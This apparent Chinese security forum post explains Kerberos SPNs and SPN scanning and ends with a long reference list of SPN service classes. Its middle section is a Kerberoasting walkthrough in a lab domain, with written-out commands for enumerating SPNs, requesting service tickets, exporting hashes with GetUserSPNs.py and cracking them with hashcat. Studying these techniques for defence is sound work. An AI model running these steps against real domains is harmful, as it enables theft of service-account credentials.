標題:kerberos中的spn詳解

taibeihacker

Moderator

0x01 SPN定义​

服務主體名稱(SPN)是Kerberos客戶端用於唯一標識給特定Kerberos目標計算機的服務實例名稱。 Kerberos身份驗證使用SPN將服務實例與服務登錄帳戶相關聯。如果在整個林中的計算機上安裝多個服務實例,則每個實例都必須具有自己的SPN。如果客戶端可能使用多個名稱進行身份驗證,則給定的服務實例可以具有多個SPN。例如,SPN總是包含運行服務實例的主機名稱,所以服務實例可以為其主機的每個名稱或別名註冊一個SPN。

0x02 SPN扫描​

spn掃描也可以叫掃描Kerberos服務實例名稱,在Active Directory環境中發現服務的最佳方法是通過“SPN掃描”。通過請求特定SPN類型的服務主體名稱來查找服務,SPN掃描攻擊者通過網絡端口掃描的主要好處是SPN掃描不需要連接到網絡上的每個IP來檢查服務端口。 SPN掃描通過LDAP查詢向域控制器執行服務發現。由於SPN查詢是普通Kerberos票據的一部分,因此如果不能被查詢,但可以用網絡端口掃描來確認。

1.SPN格式​

SPN=serviceclass “/” hostname [“:”port] [“/” servicename]
serviceclass=mssql
servicename=sql.bk.com
其中:
serviceclass:標識服務類的字符串,例如Web服務的www
hostname:一個字符串,是系統的名稱。這應該是全限定域名(FQDN)。
port:一個數字,是該服務的端口號。
servicename:一個字符串,它是服務的專有名稱(DN),objectGuid,Internet主機名或全限定域名(FQDN)。
注意: 服務類和主機是必需參數,但端口和服務名是可選的,主機和端口之間的冒號只有當端口存在時才需要

2.常见服务和spn服务实例名称​

MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433
Exchange
exchangeMDB/adsmsEXCAS01.adsecurity.org
RDP
TERMSERV/adsmsEXCAS01.adsecurity.org
WSMan/WinRM/PS Remoting
WSMAN/adsmsEXCAS01.adsecurity.org
Hyper-V Host
Microsoft Virtual Console Service/adsmsHV01.adsecurity.org
VMWare VCenter
STS/adsmsVC01.adsecurity.org

2.SPN扫描的ps脚本​

發現mssql服務中的spn服務實例名稱:
其他的SPN服務實例名查詢:
由於每台服務器都需要註冊用於Kerberos身份驗證服務的SPN,因此這為在不進行端口掃描的情況下收集有關環境的信息提供了一個完美的方法。
例如:
管理員在名為“MetcorpKCS17”的服務器上安裝和配置Microsoft SQL Server,並使用偵聽端口3170 3&3171的SQL實例。
那麼服務類和實例名稱產生是這樣的:
MSSQLSvc/MetcorpKCS17.adsecurity.org:3170MSSQLSvc/MetcorpKCS17.adsecurity.org:3171
藍色的部分是服務類,橙色的部分是計算機的FQDN,綠色的最後一部分是網絡端口號由於Kerberos將SPN請求與目錄中的現有SPN相匹配,因此最後的數字不一定是服務在服務器上偵聽的端口。如上所述,大多數情況下SPN中記錄的端口是服務器上的監聽端口,並非所有的SPN都包含一個端口。現在,我們有一個更好的方法來發現Active Directory域或森林中的SQL服務器:ServicePrincipalName=MSSQL*
0x03
SPN掃描和破解TGS Tickets以MSSQL服務配置SPN為例
參考配置地址:
1.為SQL
Server 服務帳戶註冊SPN
手動註冊:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname
對應的命名實例:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname
2.查看用戶對應的SPN:
setspn -L ruos\sql-service
3.使用ADSI(adsiedit.msc)查看用戶屬性
r33a5omthfy24084.png

4. 在AD上為用戶指定服務登陸權限。
GPO_name\Computer
Configuration\Windows Settings\Security Settings\Local Policies\User Rights
Assignment
Log on as a service
ek12cbbzl4r24085.png

5.更改
SQL Server 服務帳戶為域用戶帳戶
6.暴力破解Kerberos
TGS Tickets
由於加密類型是RC4_HMAC_MD5,Kerberos協議第四步TGS-REP將會返回用服務帳戶的NTLM密碼哈希加密的票據。
7.SPN掃描
setspn -T
domain -q */*
或者
emvbjezgrxw24087.png

8.請求SPN
Kerberos Tickets
PS C:\
Add-Type -AssemblyName System.IdentityModel
PS C:\
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
-ArgumentList 'MSSQLSvc/WEBTST01.ruos.org/SQLEXPRESS'
9. 查看並導出票據
ky2lmhdd2lr24088.png

默認配置加密類型是aes256_hmac,tgsrepcrack無法破解,可在服務器組策略指定加密類型為RC4_HMAC_MD5。
GPO_name\Computer Configuration\Windows Settings\Security Settings\Local
Policies\Security Options
Network security: Configure encryption types allowed for Kerberos
10.離線破解
tgsrepcrack(僅對RC4_HMAC_MD5),或者保存hash使用hashcat破解。
t4hpvq5ygp424089.png

導出hash(用於其他加密類型)
GetUserSPNs.py -request -outputfile hash.txt -dc-ip 192.168.6.2 ruos.org/user2
或者從票據中導出kirbi2john.py
1-40a00000-user2@MSSQLSvc~WEBTST01.ruos.org~SQLEXPRESS-RUOS.ORG.kirbi
S2. hashcat64.exe -m 13100 hash.txt example.dict –force
也可以參考其他破解工具如下:
0x04
Active Directory服務主體名稱(SPN)的綜合參考表AcronisAgent:針對Acronis備份和數據恢復軟件
AdtServer:帶有ACS的Microsoft System
Center Operations Manager(2007/2012)管理服務器
afpserver:Apple歸檔協議
AgpmServer:Microsoft高級組策略管理(AGPM)
aradminsvc -任務主角色服務器
arssvc -任務主角色服務器
bocms:商業化CMS
BOSSO:商業對象
CESREMOTE:與VMWare上的Citrix VDI解決方案有關,許多VDI工作站都有這個SPN。
cifs:通用Internet文件系統
CmRcService:Microsoft系統中心配置管理器(SCCM)遠程控制
CUSESSIONKEYSVR:Cisco Unity VOIP系統
cvs:CVS庫
Dfsr *:分佈式文件系統
DNS:域名服務器
E3514235-4B06-11D1-AB04-00C04FC2DCD2:NTDS DC RPC複製
E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM:ADAM實例
EDVR:ExacqVision服務
exchangeAB:Exchange通訊簿服務(通常是支持NSPI的域控制器,也通常是所有的GC)
exchangeMDB:RPC客戶端訪問服務器角色
exchangeRFR:交換通訊簿服務
fcsvr:Apple Final Cut Server
FileRepService:WSFileRepService.exe
FIMService:Microsoft
Forefront標識管理器(FIM)
ftp:文件傳輸協議
GC:域控制器全局編錄服務
HDFS:Hadoop(Ambari)
host:主機服務代表主機。 HOST SPN用於在創建服務票據時訪問由Kerberos協議使用長期密鑰的主機帳戶。
http:支持Kerberos身份驗證的http網絡服務的SPN
Hyper-V副本服務:Microsoft Hyper-V的副本服務
IMAP:Internet消息訪問協議
IMAP4:Internet消息訪問協議版本4
ipp:Internet打印協議
iSCSITarget:iSCSI配置
kadmin:Kerberos
ldap:LDAP服務,如域控制器或ADAM實例。
Magfs:Maginatics MagFS
mapred:Cloudera
Microsoft虛擬控制台服務:HyperV主機
Microsoft虛擬系統遷移服務:P2V支持(Hyper-V)
mongod:MongoDB Enterprise
mongos:MongoDB Enterprise
MSClusterVirtualServer:Windows群集服務器
MSOLAPSvc:SQL Server分析服務
MSOLAPSvc.3:SQL Server分析服務
MSOLAPDisco.3:SQL Server分析服務
MSOMHSvc:Microsoft系統中心運營經理(2007/2012)管理服務器
MSOMSdkSvc:Microsoft System
Center Operations Manager(2007/2012)管理服務器
MSServerCluster:Windows群集服務器
MSServerClusterMgmtAPI:此群集API需要此SPN才能通過使用Kerberos向服務器進行身份驗證
MSSQL:Microsoft SQL
Server
MSSQLSvc:Microsoft SQL
Server
MSSQL $ ADOBECONNECT:支持Adobe Connect的Microsoft
SQL Server
MSSQL $ BIZTALK:Microsoft SQL
Server支持Microsoft
Biztalk服務器
MSSQL $ BUSINESSOBJECTS:支持Business Objects的Microsoft
SQL Server
MSSQL $ DB01NETIQ:支持NetIQ的Microsoft SQL
Server
nfs:網絡文件系統
NPPolicyEvaluator:戴爾Quest審計員
NPRepository 4(CHANGEAUDITOR):戴爾Quest Change
Auditor
NPRepository4(CAAD):戴爾Quest審核員
NPRepository4(默認):戴爾任務審計員
NtFrs *:NT文件複製服務
oracle:Oracle Kerberos身份驗證
pcast:蘋果播客製作人
PCNSCLNT:自動密碼同步解決方案(MIIS 2003&FIM)
POP:郵箱協議
POP3:郵箱協議版本3
PVSSoap:Citrix
Provisioning Services(7.1)
RestrictedKrbHost:使用服務類字符串等於“RestrictedKrbHost”的SPN的服務類,其服務憑單使用計算機帳戶密鑰並共享會話密鑰。
RPC:遠程過程調用服務
SAP:SAP/SAPService
SID
SAS:SAS服務器
SCVMM:System Center虛擬機管理器
secshd:IBM InfoSphere
sip:會話啟動協議
SMTP:簡單郵件傳輸協議
SMTPSVC:簡單郵件傳輸協議
SoftGrid:Microsoft應用程序虛擬化(App-V)以前的“SoftGrid”
STS:VMWare SSO服務
SQLAgent $ DB01NETIQ:NetIQ的SQL服務
tapinego:與路由應用程序相關聯,例如Microsoft防火牆(ISA,TMG等)
TERMSRV:Microsoft遠程桌面協議服務,又名終端服務。
tnetd:Juniper Kerberos身份驗證
“Tnetd是一個守護進程,用於路由引擎和數據包轉發引擎等不同組件之間的內部通信”
vmrc:Microsoft Virtual Server 2005
vnc:VNC服務器
VPN:虛擬專用網絡
VProRecovery Backup Exec系統恢復代理7.0
VProRecovery Backup Exec系統恢復代理8.0
VProRecovery Backup Exec系統恢復代理9.0
VProRecovery諾頓克隆代理12.0
VProRecovery諾頓
克隆代理14.0VProRecovery諾頓克隆代理15.0
VProRecovery Symantec系統恢復代理10.0
VProRecovery Symantec系統恢復代理11.0
VProRecovery Symantec系統恢復代理14.0
vssrvc:微軟虛擬服務器(2005)
WSMAN:Windows遠程管理(基於WS-Management標準)服務
xmpp/XMPP:可擴展消息和呈現協議(Jabber)
xgrid:蘋果的分佈式(網格)計算/
Mac OS X 10.6服務器管理
YARN:Cloudera
MapReduce
注意:域控制器自動將公共SPN映射到主機SPN中。計算機加入到域時,主機SPN自動添加到所有計算機帳戶的ServicePrincipalName屬性。域控制器SPN映射由SPNMappings中的以下位置中的屬性控制:
“CN=Directory
Service,CN=WindowsNT,CN=Services,CN=Configuration
SPN自动映射到HOST(SPNMapping属性值):alerter
appmgmt
cisvc
clipsrv
browser
dhcp
dnscache
replicator
eventlog
eventsystem
policyagent
oakley
dmserver
dns
mcsvc
fax
msiserver
ias
messenger
netlogon
netman
netdde
netddedsm
nmagent
plugplay
protectedstorage
rasman
rpclocator
rpc
rpcss
remoteaccess
rsvp
samss
scardsvr
scesrv
seclogon
scm
dcom
cifs
spooler
snmp
schedule
tapisrv
trksvr
trkwks
ups
time
wins
www
http
w3svc
iisadmin
msdtc
 
返回
上方